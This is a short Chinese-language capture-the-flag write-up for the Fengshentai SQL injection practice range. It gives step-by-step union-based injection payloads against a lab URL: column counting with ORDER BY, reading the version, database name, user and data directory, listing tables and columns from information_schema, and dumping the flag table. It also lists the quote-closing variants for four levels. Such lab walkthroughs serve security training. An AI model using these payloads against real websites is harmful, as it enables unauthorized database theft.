封神台sql注入实战靶场
通过注入找到数据库中的Flag吧,Flag格式zKaQ-XXXXXXXX
基础靶场1
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1
数字型注入
判断字段个数
?id=2 order by 1
?id=2 order by 2
?id=2 order by 3
?id=2 order by 4 报错
得出结论字段个数为3
判断数据在页面的显示位置
?id=2 and 1=2 union select 1,2,3
判断数据库类型和版本
?id=2 and 1=2 union select 1,@@datadir,version()
获取当前库名和用户
?id=2 and 1=2 union select 1,database(),user()
获取库下面所有的表名
?id=1 and 1=2 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
获取表下面的所有字段名
?id=1 and 1=2 union select 1,group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='error_flag' --+
获取值
?id=1 and 1=2 union select 1,group_concat(flag),2 from error.error_flag --+
一下子全爆出来了,盲猜这是前四关的flag,经过验证果然是,前四关只是sql语句的闭合方式不同而已,都可
以用联合注入获取flag
闭合方式
基础靶场1 数字型,不需要闭合基础靶场2 '基础靶场3 ')基础靶场4 ")